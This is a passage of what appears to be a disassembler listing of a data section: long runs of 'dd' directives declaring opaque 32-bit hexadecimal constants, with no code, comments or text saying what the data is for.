0B26D51ACh dd 12F9D1D5h, 86F31D7Bh, 2245AF3Dh, 5B93AC6Ch, 9B8C318Dh dd 3990F090h, 0D4FFF4B0h, 1998B891h, 0B83C7C4Bh, 0EEFE8019h dd 1179EECh, 7915AF1Bh, 92E9C72Ch, 7EE073C9h, 8753ACBh dd 0AEEDFCC9h, 14C5E13Eh, 694EE45Eh, 0A224FFE9h, 3529707Eh dd 0E98095D8h, 3C51EFB2h, 6F0F53E6h, 56F8B49Eh, 0BBC26F85h dd 3E7061E4h, 319BFDBh, 77E8DB3Ah, 0CDB6DDACh, 0E93C6A6Bh dd 0BC4294FFh, 48DF1784h, 32919370h, 35DD2890h, 8CF55C74h dd 31E3E6E0h, 376E8725h, 0A8B2A6E9h, 3056E327h, 0B079CE20h dd 4AF48078h, 0BFC6B96Dh, 4BC30ACDh, 0D408B527h, 0A4F24334h dd 0F2E324E6h, 0C2D79198h, 0FB282D8h, 88B07FDh, 0FF218FACh dd 0DB330E9Fh, 0D9762674h, 0D5FA032Ah, 856340E6h, 1633F5D6h dd 96A1F0B6h, 2E85CB89h, 49177327h, 0B11AF47Bh, 0CD752532h dd 30C524A9h, 0AF0F7D1h, 1462D40h, 2A1CEEC9h, 11110147h dd 0F18F1882h, 0CAC4D968h, 0AC16A911h, 626C79EBh, 334B9E67h dd 6F0EF4A2h, 27363A43h dd 0E8AE0B1Fh, 62D96ECh, 4E0118A5h, 0C0C983B9h, 851D5BBBh dd 0AFCF896Bh, 1F49FD1Fh, 0D3533119h, 96C07FB2h, 5B54966h dd 51A87AB9h, 8311FEEDh, 1F0BD31h, 30AEAFB8h, 63DE99Dh dd 7EDC67E9h, 1E3A6761h, 0B2DEC0D2h, 0D7FA6011h, 0FA5ABE42h dd 970D2D82h, 0FE205FC6h, 0BE63E0DDh, 4F5DAF9Eh, 0BBA6CF45h dd 8CB6DC20h, 0B7E61E6Ah, 757B1EBBh, 0D22431E0h, 0F780F110h dd 6061D499h, 13434519h, 95BA7A6Fh, 8E8C21DEh, 0D51CD147h dd 0A0BA0EDCh, 58268160h, 2E8D92D7h, 0AD2D092h, 0D79F597h dd 7F987EADh, 95813CACh, 0FA4933E1h, 2F1AF681h, 0C60FDE65h dd 72DE8515h, 0C1A9BB66h, 0C280548Fh, 84853298h, 794D04C8h dd 0A7D765BEh, 97052091h, 227F9EECh, 746DB49Eh, 0E1C30A4Ah dd 7C4383E6h, 99005C5Bh, 3E53060Bh, 3690328Ah, 0D4F4FA8Dh dd 2156AD41h, 2BFC55EBh, 0CF77DA74h, 0D417FDB8h, 90886033h dd 0E965E578h, 0DC301425h, 2F04EA03h, 1B4F047Ah, 1D8281F8h dd 71247008h, 4689382Ah, 595C44CFh, 3E13EECCh, 72E34857h dd 202E521h, 8542D951h, 50934FB2h, 0CBF05A89h, 1D66D96Ch dd 6FDA7532h, 6B3E5784h, 4ACDA7D1h, 0C030B7D1h, 10251DC8h dd 0E8918443h, 856D48B1h, 8E45454Bh, 0D18904Bh, 71A339CDh dd 5DCDA06Fh, 5346A4B8h, 0EB4C4AEBh, 201BFE72h, 3FC1D47Dh dd 0E084146Ch, 0E5EB3F78h, 33244AFAh, 8A321A54h, 0F889847Eh dd 4724767Fh, 7BDD922Ch, 80D4B7D4h, 43DAFCB4h, 33CCAF5Ah dd 3DE7A163h, 8DF9533Ah, 702497D3h, 0CED5C1EFh, 2B790360h dd 8AB6988Bh, 691A71A0h, 0B02F9BF6h, 9756916Ah, 0E02827CBh dd 89993438h, 0AA7FD650h, 0D209263Eh, 0E88D80Dh, 0E8D1F08h dd 85C09B08h, 44E19AADh, 140E5664h, 4E0A3E99h, 9842D837h dd 0D043C549h, 0ACD40D63h, 89E5F93Bh, 1F9470D9h, 82286B00h dd 0F610E50Fh, 3ACD51B5h, 0E925DAA9h, 0B53879B5h, 5815198Ah dd 42CE43DFh, 0AC5F3A8Bh, 6191A198h, 941C2A42h, 6C1B6489h dd 6BF6B20Ah, 788C58FAh, 17F60A75h, 16F4559Bh, 0F0F3DA37h dd 0CBB8443Fh, 563A65F0h, 0A0B2462Eh, 5CD28ED4h, 61582C3Eh dd 0EE193E93h, 93A44AF8h, 2B2CC46h, 372F949Eh, 2339CE7Fh dd 8264E798h, 0C67907A4h, 0F3C7B3E8h, 10A2EC45h, 79A9190Ah dd 0F8F30AD0h, 2A9F3EB6h, 0B187A5E9h, 8E6B876Ch, 0A260E89Fh dd 574EF346h, 63A2F32Eh, 982FF95Dh, 64B31001h, 851842D0h dd 3C5B7F0Fh, 483F5955h, 6C0DF74Eh, 6FFFE873h, 8C882699h dd 46EB59CFh, 1A04179Fh, 0C90EB352h, 21B230Ah, 60DEEBAFh dd 15A9EE70h, 80B738CAh, 3836A16Eh, 92D4D5ABh, 1EE2E05Fh dd 2475EDDFh, 4FEF381Fh, 0DC4947D7h, 31518A3Eh, 21945AC1h dd 0F6A6419Bh, 93029F98h, 0B141637Fh, 672C7A20h, 381DA899h dd 9C233616h, 0A434F122h, 80BED49Fh, 5217527Dh, 758F871Ch dd 0A80669D9h, 758AE6F3h, 516E6553h, 0B237CB2Fh, 0C335958Eh dd 5AFBB4A1h, 44E9BF0Ch, 303D046Eh, 64AAAD07h, 460A523Bh dd 25F0AB6Fh, 7623E3A1h, 0EF8FE9B8h, 1E343DDCh, 0AC8ADEE7h dd 0A224CA26h, 1E3F2F0Bh, 12E58562h, 87183567h, 0EEC69FB7h dd 0E735F4ABh, 0BE689C71h, 8595B9FBh, 0BBDD43A7h, 642B62BBh dd 3208053Ah, 5D4510A6h, 86BC53EBh, 6CF64003h, 0DD226B20h dd 3CD4F040h, 0C1F59854h, 381EF736h, 0D1B4481h, 0C3697B49h dd 77B73DC1h, 0F4EFB256h, 1F817A3Fh, 6AF9204Eh, 0CE53DBE3h dd 0B87359C3h, 4DD94178h, 91F7583Fh, 0CBFB5066h, 0B4874568h dd 7EB70849h, 5DD8FAD0h, 399ABC63h, 364046D8h, 0D3090355h dd 697FF71Fh, 9FF58F97h, 0A02AA534h, 52F7F267h, 0AAF5E67Ah dd 4D9B8BF8h, 5D9B4DF0h, 34D5F8D9h, 98FD1302h, 62DB8343h dd 5E49C0ACh, 36DE04EFh, 5E6D236Eh, 37A755EFh, 7501A1C4h dd 7DBF781Ch, 9F949A1Ch, 231460D2h, 0C95B889Eh, 0B2933FD6h dd 244AD65Bh, 0E5C346F9h, 0F61DAAC4h, 8A777B6h, 51736A5Fh dd 0C34858A0h, 27599498h, 82A4FFE2h, 0F32C3A8Bh, 357361B3h dd 39A312CEh, 36AD5119h, 9A5146DFh, 85C9E5FFh, 0BFFECD67h dd 61EE32E3h, 0D983C9C8h, 5544CE4Fh, 971DBC83h, 54CCBD4Ah dd 0E24B128Ah, 0A35C113Dh, 8642FDFFh, 0A384848h, 0F6243C46h dd 5B7BCB7Dh, 92A32D75h, 0A7A52E28h, 5B196E99h, 70980DCFh dd 6B15B7B0h, 666F06DBh, 5FCD6AE9h, 0D0D81BD8h, 67968A70h dd 507DE076h, 0FB84E6D7h, 9415F626h, 0FE60C3FFh, 7B8E5F67h dd 2FB050CAh, 0C7DFDFF4h, 0A6583AAFh, 2BBA87B5h, 2188CC12h dd 0F02D98BBh, 4A0BAEC0h, 5AB68DB7h, 0FAAFD3F7h, 53D42B6h dd 0CC69BD5h, 41E75C94h, 94724960h, 51A3E919h, 0D76A0732h dd 95909ED2h, 1E48BEDFh, 3B16E1E2h, 0B79C54Fh, 5EE1824Bh dd 0BFDA7948h, 31EBA9BEh, 787F8C2Ch, 2B9EFA8Fh, 0A79F8366h dd 0DC5B547Bh, 3F8BA1B1h, 0C0F1D047h, 2318C336h, 46A82575h dd 5A1096B5h, 8D5346CDh, 0E880C84Ah, 0C4C6B711h, 0E87FEBF5h dd 9D581186h, 80270981h, 42DA8230h, 0A16D04CDh, 92A229E4h dd 49E16C40h, 2D648DAh, 0B1492870h, 0BB0FE726h, 0E69CB3C3h dd 805C9761h, 0DB00345Bh, 0BEAC77Fh, 0FAE67C65h, 9DEBCE21h dd 0A12550CCh, 0B76EBCE5h, 0E2623C2h, 17D80C9Eh, 0D7B59BADh dd 94216636h, 2BAFE625h, 5839A207h, 6BCEFFAFh, 0E450695Fh dd 0D75D4F02h, 0D8B3CCCEh, 16219540h, 0D0307A61h, 4F5AF9A2h dd 0C50CA820h, 517519E4h, 64BAE1DAh, 4F11D8C6h, 5BC63C28h dd 13F59FCh, 0E6314893h, 5BB01B78h, 8ABA3621h, 7805B797h dd 394E5763h, 0C46CC778h, 7A74FFCh, 0A1C5A066h, 4B58AACCh dd 9661B3CEh, 0D874F7D9h, 0EBA182C0h, 0C2F34F3Ch, 0DBCE6F95h dd 75D776C7h, 1662F01Bh, 0F74505D3h, 2A7773B9h, 9B0B176Ch dd 22848B6Ch, 9DC3F253h, 0D5B2B8ACh, 48867782h, 70B37C82h dd 31FE89DCh, 893408CDh, 0B288F06h, 0B6E4B3F3h, 0A9B81CD6h dd 19FF8B2Eh, 0A94C42E7h, 0E4E93A5Eh, 385490D3h, 0CA335E5Fh dd 0B59C24F6h, 0FA5783CFh, 6DD074ACh, 0E586F54Fh, 0CF22513Ch dd 5FFF93ABh, 0B531B514h, 46185517h, 1BF3472Eh, 0E8F0D60Fh dd 8C281F66h, 258540h, 0AF78DC49h, 13881E4Fh, 219AE7ACh dd 48EDBCA1h, 0A8CF73A2h, 0B4E84DE6h, 2F6F2630h, 0B95F6AD0h dd 0F6219129h, 983A3F6Fh, 186F2C31h, 2119BE72h, 0F2215CB5h dd 67B9F842h, 6E5BD91h, 398534Ch, 0AA820FCEh, 17C5773Fh dd 0BAFCC84Fh, 0F2117545h, 49E105D6h, 0CAD96C2Eh, 4E410069h dd 0F0D59919h, 0BA587A77h, 11341029h, 0F0AF1ABCh, 78389B82h dd 542118CEh, 7992A4B6h, 0A11391F5h, 9174E741h, 59FD7AA5h dd 215D1333h, 877D3493h, 6063DEBEh, 0D882B252h, 0BC0390C0h dd 3AF3C303h, 9267F1C0h, 73176C12h, 13FC435Ah, 579619CEh dd 61CA57C2h, 36AFA44Eh, 758EE99Dh, 0EC33D2ECh, 0EBE9866Eh dd 72DEF954h, 0DA3E2ED6h, 7A69BDD3h, 7588CED0h, 0F7E32AEEh dd 0CE170987h, 1C5E2383h, 0FCF5FBh, 38A95528h, 0F8836070h dd 8EEA52FFh, 0C290ADDBh, 32C896A8h, 0DC2FDC49h, 91D198B5h dd 8FA6AD8Dh, 5708DC67h, 0C4C7EF00h, 0C81078E3h, 0B13F4192h dd 0B04EA867h, 0D7AC0FA4h, 9997D96Ah, 82B13780h, 49E09E77h dd 33D1C493h, 35FF5905h, 830EB699h, 2748FDFEh, 0F89BAA98h dd 45DD6FD3h, 0ABA0AD2Ah, 0F34BAA01h, 9D20A56Fh, 71B39ED9h dd 6BD32C35h, 808FF8C7h dd 0E25F4756h, 0F7D4A918h, 0DB4FE68h, 0BF8DA1AEh, 0F22FF60Bh dd 0E273647h, 0CD678A36h, 1DA3AD89h, 56EC19ECh, 6F858643h dd 5C808065h, 0E71D6004h, 46B7D287h, 0C20A5B9Ch, 94AE6D76h dd 0C37FABD3h, 0E1AF4BBAh, 1F296D79h, 99C31D27h, 77029B4Dh dd 8305A20Bh, 0BBFE0F17h, 6F96C3Dh, 322CD45Dh, 4B4D4FB0h dd 6617216Eh, 230AB5DFh, 63732579h, 0DD111D6Fh, 8457E001h dd 5FE61F8Dh, 9760B1A1h, 0C1DD2857h, 0AB64DCB9h, 9D529F9h dd 44F9C02Ch, 8606CE60h, 5E94863Fh, 3C9E7C84h, 4C1D27Ch dd 0C3E1E04Eh, 0FEBAFDEh, 3FEC912Fh, 0D75DD554h, 5496FC7h dd 17D875FDh, 83FD6F2Eh, 37DD26ADh, 53011F11h, 0E6DA7B1Dh dd 0A1F2518Ch, 8798FE18h, 755F669Fh, 874D457Fh, 4000593Dh dd 0E3B205B7h, 0C84B71Ch, 211C03C1h, 1AE9A4Fh, 6086AD70h dd 5914FDD8h, 0DF670C47h, 0A773EC02h, 0F08688C4h, 71FB1BC8h dd 91DD1BC8h, 0BF8A2FD2h, 0B69CD2EDh, 39DBD8E3h, 0DF17EAECh dd 801106DEh, 0C6EDD177h, 976638E5h, 2349487Fh, 7BD1DC0Bh dd 58F71AEDh, 70951FA8h, 0B55E4B50h, 0A357A984h, 0A80D13C6h dd 3C0E1D2h, 0D1C8A9EAh, 0ECF664C3h, 0FBA58342h, 5140D05Bh dd 0A5AD753Ch, 5054408Ah, 0C2F07E31h, 1D5AE913h, 0A78AF244h dd 0A27E6745h, 363BB078h, 7D9F8659h, 0F12894D9h, 4332E211h dd 0C7CA02ABh, 438CA1FCh, 60D917D6h, 35DD48BDh, 8ECBA3D9h dd 5BFA72D5h, 66506BA5h, 0CBBF2ACh, 0C20DA038h, 2DDF7298h dd 18D6D7DBh, 0B2781536h, 0AF78FA62h, 0BA261FE8h, 0FF955AB0h dd 96C44100h, 8AE8FF82h, 0E74AD4FAh, 0E2187B2Bh, 6B3F75ACh dd 7AA2BA17h, 1FF9ED4h, 5B8F4F52h, 8ABF55A7h, 0F5CF832Dh dd 0B370D58Ch, 39C36EE7h, 609C6F34h, 0A9387480h, 683BA4EFh dd 0F43D3775h, 5C5F903Eh, 31977DEEh, 84CA65AAh, 0F50F7C29h dd 595E7C66h, 0D7D9115Fh, 0B73643BAh, 8009F7FCh, 2D61CDEBh dd 0A3F051C5h, 0E8749AE4h, 4861FD98h, 0DF247275h, 309B71ECh dd 0C1872E0Bh, 3F72E7BEh, 598041BDh, 0AF51E915h, 0F645862Ch dd 851EDD10h, 469E45C5h, 0D93A20C5h, 342ED19Bh, 0A7F8C355h dd 78296634h, 0D2E6E13Eh, 3F8463F8h, 113BBA26h, 30BD257Ch dd 1FB58875h, 0D17D47BEh, 35D6457Ch, 754D7D45h, 46161418h dd 0E14400A3h, 2F63D12h, 0D59AD475h, 5C6800B4h, 504E6941h dd 6468B4F8h, 43C932EBh, 2647EC7h, 0E384DA98h, 10822118h dd 6A12CBACh, 9A902E37h, 3781CB5Fh, 45B0A634h, 9A651329h dd 37C9FD30h, 99FDD035h, 4F9CEC8Eh, 0AC0A627Ch, 0D47F9B33h dd 9AD32A18h, 305DE969h, 0CA736F80h, 0FCA2D17Bh, 630EA2D3h dd 366C834Dh, 98DAD0D3h, 0FC3AEA95h, 5218A47Bh, 0D72D3DD5h dd 0D9C0F196h, 3C34A61Ah, 1DA3A254h, 32F4BBCh, 6D80E0A8h dd 85313E07h, 0AB514420h, 95513D1Eh, 41ACA3A6h, 9FB44B1Bh dd 0DC5D9ACEh, 21751A06h, 9FFBBDC2h, 573AE7F5h, 0C8C23E34h dd 44EC80E4h, 385180F2h, 540BBA44h, 0F56E85ABh, 458B62D6h dd 98BC6186h, 0B599E5Dh, 0C445263Bh, 71D98709h, 5586C76h dd 30EB8D25h, 30D96A04h, 0ECF2C37Ah, 373EB281h, 5A7A7351h dd 0CDFBE6F0h, 28791783h, 20B3C3Fh, 4EE3FA24h, 48EFC4DBh dd 244EE889h, 4C147187h, 0A929D6Eh, 0F63C589Ch, 0A5BBE869h dd 82DE1A6h, 0B0BFE83Eh, 0C2C0C78Fh, 77B09E51h, 2610CC6h dd 0CE0566E7h, 476A2E3h, 591B9118h, 0DDCCA631h, 5862B77h dd 7667BE37h, 3FCAB173h, 0D2C102F1h, 0E7E7E3A3h, 0DBB00F3Ch dd 185BB964h, 0C704F305h, 7698AF78h, 0BF87FA3Fh, 0CF7EB008h dd 11E54CC0h, 158539EEh, 1050EB1Eh, 0B5EAC45Ch, 6E227D58h dd 0D44F4D41h, 0A281E655h, 0B5296B32h, 3DB2EED5h, 42BC0563h dd 1383C39Ch, 938AA95Ch, 0B60D6959h, 0A7F9B921h, 16C3BF2Dh dd 99433530h, 25B6FE07h, 70B5235Ch, 0A79C53B3h, 0FEF03D65h dd 7BACD4A9h, 5CCFC0C6h, 988C8D31h, 0C6A206CDh, 0A9706A2Ah dd 2E7D98C8h, 1BD90326h, 0EC48CF65h, 0E350F7F4h, 0E27574D2h dd 87648639h, 60230912h, 0F97312CDh, 0F3E09F3Ch, 40DF5BFh dd 173D2675h, 0CC6E7300h, 18E93579h, 0F77EB998h, 70E41EABh dd 396BFB9Dh, 58D213Ch, 8D4896C5h, 2B355DD9h, 0F8B60ABDh dd 1AC1BB26h, 0EE09B8A9h, 89D6C488h, 0B628E04Bh, 2328F934h dd 0BB11EA17h, 0D5F85E6h, 36F61A8Ch, 8EC1DE07h, 0EA44B42Dh dd 0D839AFD2h, 929E6E6Bh, 4C78898Fh, 0FF455823h, 6765DB3h dd 0D58BD94Bh, 0AA343FBFh, 0C56F8A49h, 82387B6Ch, 0DF8212AAh dd 27C29E8h, 0CF27B385h, 0F8793293h, 0EAB71760h, 6ECBD10Ah dd 354E2E07h, 673C9F3Bh, 464858Ch, 9D5D352Ch, 0C2180444h dd 4D99ACEDh, 0E4B04DA8h, 164C354Dh, 6DC4BAA6h, 18F13F8Dh dd 5AB621C7h, 0B3805AB4h, 355F3872h, 3FE84510h, 0D5BC6E27h dd 97C3FFA0h, 0D67832h, 42CE71D4h, 865D5AADh, 8E752A9Ah dd 8A30B0B9h, 0BC18C065h, 4D752CD9h, 0C1D0AE5Dh, 0AA38FFF7h dd 0C5C8E29Ah, 19E592F7h, 1356BC5Bh, 0F1C55D4Fh, 0F03EB1F9h dd 81DF48h, 0E1191BF2h, 7014B016h, 0DEE25A18h, 31FF075Ah dd 4BD02172h, 0B0AC903Ah, 57AB1136h, 2407D677h, 0D17EB944h dd 8C0864BBh, 0DEBEFD3Ch, 9595D35Ch, 26D9490Ah, 1059F811h dd 8D69084Ah, 0E63B7FE8h, 29026858h, 1094400h, 219F07EBh dd 275FCC07h, 56388CB9h, 821C2D43h, 3BD21A15h, 3849D181h dd 1A90251Fh, 331AD57Dh, 57C27F97h, 6BA5077Ah, 64E8508h dd 7BD487Ah, 0A2C3A1A7h, 25EA9F74h, 16B3EB01h, 23EC7E56h dd 493617DEh, 87C8C004h, 64363655h, 0A7CF0467h, 7233D980h dd 0B09421CFh, 0C7DB9BDCh, 0A45D06Ah, 8589701Eh, 5C35247Bh dd 9333CB0Ah, 0E2A20AE1h, 8B1B30BDh, 26FE7611h, 0BA573FD4h dd 0FB94DEF5h, 642762E9h, 179E79ABh, 0A817E557h, 0B0C9938Fh dd 51695754h, 13CE6497h, 7868FF4Ah, 55D10Dh, 3DCCA32Ah dd 801022C1h, 135AD8B1h, 0F2E7767Ah, 39D1B43Ch, 0DDDE397Ch dd 0F7E900A1h, 0C8A792B5h, 8560116Fh, 4E47D73Fh, 0EFC84348h dd 0A88C6E0Dh, 0F8C8C840h, 0B7C365Dh, 978DB73Dh, 185B66E1h dd 5AD093FFh, 0A56F0276h, 0C9FD6A6Bh, 5C7A97F5h, 2B994713h dd 237CCD8Bh, 29C1B3EAh, 9298CD4Dh, 0D038BA3Bh, 696FE0E2h dd 0A66FB27Bh, 16700F3Dh, 0C9BC46AEh, 828C05A3h, 0C076AABAh dd 0EC89E7F3h, 0D1C26C14h, 1162770Ah, 66B6CDC2h, 0B2FEFE21h dd 0A66EA673h, 0E01870E6h, 4CB0A0C5h, 0AF67B2B2h, 903E8834h dd 5CA62691h, 2694B0BEh, 0F0145294h, 35DD37F2h, 4C6B672h dd 0C3E301F5h, 480CD8B3h, 99988319h, 0BAB4D306h, 1CCF94C7h dd 0CBE732C0h, 0D470F049h, 878B4BCDh, 32382B4Eh, 6CAB9691h dd 0F58B6860h, 0A5FF5D5Fh, 0A61C9E61h, 0EE93D7D4h, 0AE210103h dd 0F3AEE3Ah, 0EED95202h, 0C2799653h, 0E6407A49h, 4C7E6EF3h dd 3B74EAEAh, 5EE80EA1h, 19159049h, 0C74E0BD9h, 240E047Ch dd 0E33C55BDh, 5D37EBBAh, 656B13E4h, 0FFE87DABh, 4004C941h dd 76E41DC9h, 23F4118Eh, 52B4B3F7h, 0A7F82639h, 0D2D7EEEFh dd 97F02CC8h, 9DAFB06Dh, 5297B10Bh, 48F0159Ch, 6C9A74FDh dd 19F67EBFh, 9B8BD92Ah, 84DE87Bh, 0C2E18694h, 668AF3F9h dd 8DC68EE1h, 65611E6h, 34630967h, 0B4C8AC87h, 77494D2Bh dd 0CA4A4937h, 0FAA7D056h, 0E76F3826h, 4F7C22B6h, 0A92C859Eh dd 0E11D2B05h, 0B0B07498h dd 0DD2110EDh, 46DA036Ah, 70EBBB1Ch, 3F7DC664h, 0CB567169h dd 0E07637F5h, 0DC23AB60h, 0BE522A9Dh, 0C0654C0Bh, 6385814Bh dd 0D4856C47h, 0E2E7B512h, 9BA970C9h, 0BEB951C4h, 3375B92Dh dd 0A07B49Bh, 0E40EA2F2h, 6E9C4BA4h, 0C66CA69Dh, 9130304Fh dd 7587651h, 8B35BBB2h, 2AE6E8B4h, 5442340Fh, 6CF24CEBh dd 96988ED8h, 242DD720h, 0A49AD117h, 0A67F550Dh, 0A802CE59h dd 0A25DF7E6h, 4839E474h, 0AA903035h, 1596636Ah, 6A0833Bh dd 0EADA9F05h, 3D783621h, 0B43C30C7h, 105F9DD8h, 2A0CA5Eh dd 191588DFh, 0DF4A26A4h, 0C53713B3h, 461CD598h, 428F1AEDh dd 0C7648DFAh, 43E4A12Ah, 0E61BEA53h, 34BE19D7h, 0CAD89D71h dd 3EFADB93h, 19B6E3EFh, 0FCE564BEh, 51E49947h, 7B034A1Dh dd 64C5351Ch, 5CF0D87h, 6B834721h, 493BF352h, 57838439h dd 1D7DA83Bh, 0F41C8A05h, 68F896B6h, 98E568E0h, 28322940h dd 0CAE92602h, 5DBC28D2h, 3D5021EDh, 290E247Fh, 7D20D047h dd 83070Bh, 33B3FF25h, 869B972Bh, 0BEEE492Bh, 86104522h dd 0CD5EB559h, 0FDE89609h, 2CB3CCF0h, 0D1A1F507h, 2794A56Dh dd 0C74F6CEBh, 911713F7h, 0F7A8FF7Bh, 4CB1981Eh, 0CCA71229h dd 79B23FA1h, 0F5F39A5Fh, 0BC259DC1h, 8207D6D0h, 8DEFD1C0h dd 0A25CB44Bh, 276B7738h, 41E886E4h, 9E7CFBEh, 4A8B388Bh dd 0D0ECC478h, 0D63FD0DBh, 94926E89h, 9AE981B5h, 0E4F68528h dd 0A9AEEA96h, 0A92C4B8Ah, 79A57E1Eh, 0DD6B058Dh, 47212D75h dd 0EB881EA9h, 3EF739F7h, 0B54BFBB7h, 9CD13D0Dh, 8E9D5DB8h dd 0FC2E1002h, 7592D0E1h, 24D541B2h, 0B8585AE6h, 0E5ACBFEFh dd 35E1CCEBh, 280FCAA7h, 61B24CD0h, 383111E8h, 62EBF441h dd 42736A81h, 70B01A20h, 0F65E3C03h, 0F51D30E4h, 0FA0EEB8Bh dd 0EE21EBBh, 673DA92Ah, 43CAA973h, 69378C17h, 9C68B540h dd 6DA3AA01h, 3E4116CFh, 9CA98DE0h, 91CCAA46h, 0A5D64F65h dd 90AE6E6Ch, 0A78E4026h, 1FCECD72h, 91E78095h, 0FA78D2E9h dd 810F9F2Bh, 7C78F109h, 0D6F53D57h, 0B9CAB9D7h, 3CAA939h dd 3B173269h, 0C10284E8h, 7B415C68h, 0E1CFE195h, 0D36701Eh dd 0DAC7B87Eh, 653829F9h, 1E043FAEh, 1CAB1E6Eh, 14D4C834h dd 0B497408Fh, 0C24CF0D8h, 79E36978h, 270F36F7h, 0B4CC8986h dd 97661E03h, 0E6B783FFh, 0DFBBA6C4h, 0DEAF10A0h, 0F5473214h dd 0D59DFD3Eh, 0D1F23358h, 0CF4B8C92h, 4A2C2543h, 0A78308ABh dd 0C29355B6h, 8280284Ch, 726533B2h, 7B2994CEh, 74468CC9h dd 4A72A763h, 0F7866592h, 8FFFC8B8h, 0B9506AD5h, 551C0CD0h dd 7C361834h, 9ED139BCh, 0FF990C57h, 8236AEE0h, 67B0CD3Eh dd 43F016BFh, 39DBE167h, 91DEC4BBh, 80F5B4B5h, 20F1C70Ah dd 6D411A8Eh, 0E1F3E20Ah, 0B0CDDC52h, 0ED8C6C5Eh, 0F06B8BA5h dd 0C0DE9A3Eh, 0EA1F6D51h, 0D0086022h, 36C3ADAh, 193AE0C1h dd 713B9698h, 93684B61h, 0CB9CF1A2h, 0B735C4FDh, 7D06B357h dd 0DBD179DFh, 0E1FB7862h, 0EF65D70Fh, 431C906Eh, 0DAD727D7h dd 8F45BC95h, 0D9311761h, 88F96011h, 6B6613BDh, 3266E07Bh dd 0C1F77EA7h, 0E4DACFA4h, 0A75B08EAh, 0D00D9894h, 93D1CA57h dd 0DF4540DBh, 0F325D59Fh, 3B2D1B55h, 760B995Eh, 0D0913834h dd 87775D54h, 0A1B165DCh, 0EE7DDC1Ah, 92B4F090h, 5457B34Eh dd 6049E8C2h, 0CF152477h, 0BB4B7867h, 0B86DD724h, 0DF61C000h dd 98E4B7BCh, 8F63A5BFh, 0F6E9FEC3h, 74EDDC25h, 1C64A6E4h dd 0F80E024Ah, 0A4476D40h, 0CF64AF3Ah, 89C5CC0Dh, 0CCAC7E1Fh dd 37B73568h, 1A7ACC04h, 4C6FC814h, 0EEA072E0h, 558A48D8h dd 0C4EEB594h, 0CC081A99h, 8EA1A899h, 8ADE9B67h, 0B5B2831Dh dd 7309977Dh, 0CE0213E9h, 2A653C33h, 4B48B95Fh, 0E15BADDFh dd 77DFDAFCh, 40E054C5h, 7AF6FEC7h, 0ABD21201h, 33476587h dd 9F2F85Eh, 0B35A6437h, 19370E8Dh, 3C3E54F4h, 25BC11C6h dd 0BB276241h, 0C0B313BDh, 162E9813h, 0C61FE7E0h, 0F96D633Ah dd 3B9C1B81h, 0E4B636C9h, 3AA44C95h, 13B3DAB2h, 57CFBE89h dd 0D42E0F02h, 6AAE5C01h, 0F5413D69h, 0DB2E678Fh, 69750CB0h dd 0D7E28747h, 0F4B3470Dh, 75FA303Ch, 2F94A222h, 3E691C55h dd 90F259DEh, 5B80A1DBh, 0AA5DF80Fh, 0E524DF5Fh, 0E2F2D81Bh dd 0D4ED4BDDh, 6CBD6026h, 0F508E444h, 88463E50h, 0B4676B73h dd 27495B67h, 54521946h, 0BB1B0BFEh, 92E80BACh, 5B2C4E75h dd 4ED490B7h, 433AA25h, 9601D146h, 136747F8h, 783BF4EBh dd 0C706DFE5h, 0B9A3332Ah, 0DB2AE421h, 0FD099C4Ah, 0A9ECE0B8h dd 0C681AFEFh, 0A25D22D5h, 7DAD5E2Bh, 7DA088h, 6E2E4CD8h dd 0A11F5AF0h, 0FD6E0E61h, 0CDA40B07h, 5E17F566h, 4031A39Ah dd 0D9143F31h, 6C2D0050h, 83074A5Fh, 2EB8F993h, 94A7E8A7h dd 4CB78C0h, 0ED4FD94Ch, 393F8689h, 7B30D9F0h, 780285F2h dd 0A3925F86h, 0BDA0DCB6h, 882535F8h, 9EE190F9h, 1A49A7D2h dd 9D2F254Ah, 0C7865FB1h, 0CDC11024h, 12400F56h, 0B0389BB1h dd 32A42D88h, 616F8E57h, 2647BBEBh, 3BA71BD9h, 6A2C72DBh dd 0D70FEF72h, 9165676Ah, 2F392B82h, 0A0CA1830h, 5F978D6h dd 0C89BFD4Dh, 0F47A6042h, 7AE68DBCh, 56A4897Bh, 727A8E8Ah dd 8679F2C6h, 0D2D78F42h, 0F56F7CA8h, 0C9DF6B9Bh, 0A4B7EB7h dd 9C7F75D0h, 84B96BEEh, 0B4733FC5h, 0C9337B72h, 0E11AD1CBh dd 0FF7D647Bh, 0E9E4FFA1h, 0F3F79EE6h, 90558EF9h, 743486E9h dd 7BB0B678h, 931A0B1Bh, 0A6D3B4C2h, 0E234FA4Fh, 0A04DF76Dh dd 0D365E661h, 2A4C8DB7h, 62514537h, 8CFE8E11h, 1EA149C4h dd 342FAF92h, 42A3517Ah, 0A4CFBBBBh, 0AC351B4Dh, 5735BAF7h dd 0F3BFBBC7h, 9A8626D7h, 7D4695FCh, 81A757D5h, 0B208828Ah dd 15C749E8h, 0FCFF3C0Bh, 4F1813B8h, 777430Eh, 170ABAFCh dd 3A257E0h, 87506EB2h, 6B6188h, 0E806AD71h, 4C2E6F6Bh dd 248CC104h, 0C8016B5Bh, 5B6C625Fh, 9391AE9h, 0DCA3D6D9h dd 0E3290AF6h, 0B1F5FBB7h, 0D9B58B59h, 0DBFF0A38h, 34B7868Ah dd 0CA1CE41h, 1B7CCBC6h, 0C8DBF137h, 4FF8EA7Eh, 1014481Bh dd 0E7E7A526h, 393E7792h, 0B4ABCE37h, 0C3368FEDh, 8FBA57B6h dd 0E3F1E7E9h, 0FD32DD6Ah, 0D49C2AADh, 7F2B2395h, 538C6823h dd 793DFD4Eh, 9114EEB5h, 125B5707h, 57643580h, 22BA0588h dd 8E28CCB4h, 6D364747h, 7AE0BFDEh, 594C8D2Fh, 2AC64DAFh dd 0BEA56ACFh, 3E10E1EFh, 0CD4885E9h, 4AF3DE44h, 0E26AB70h dd 0AB7BFBC8h, 6A6A740Bh, 8541B443h, 0F839B1BCh, 0A41C2FCDh dd 74CB21Fh, 0E090A555h, 52312909h, 0EBDA0E5Dh, 0D7D9F3BCh dd 6D9CE192h, 88B7CAD4h, 83D55522h, 2CDD7E2Bh, 0BC51F8E1h dd 0D8313446h, 47344082h, 0F800BA0Fh, 0DB12DC57h, 5288CED5h dd 0B257996Dh, 7C695F78h, 1C0220Dh, 69BEFD6Ah, 0C25358FCh dd 0A2FCD020h, 6CB02415h, 0CA7A009h, 0CDD1A19Dh, 4C78B966h dd 3B3B065Ah, 9B576590h, 3E6605CFh, 6A4955B5h, 0E50AF951h dd 3D5EA53h, 2CB48C1Dh, 7DF8EE16h, 27D94DB6h, 0DB5FA97Bh dd 10FE5373h, 0E63E7008h, 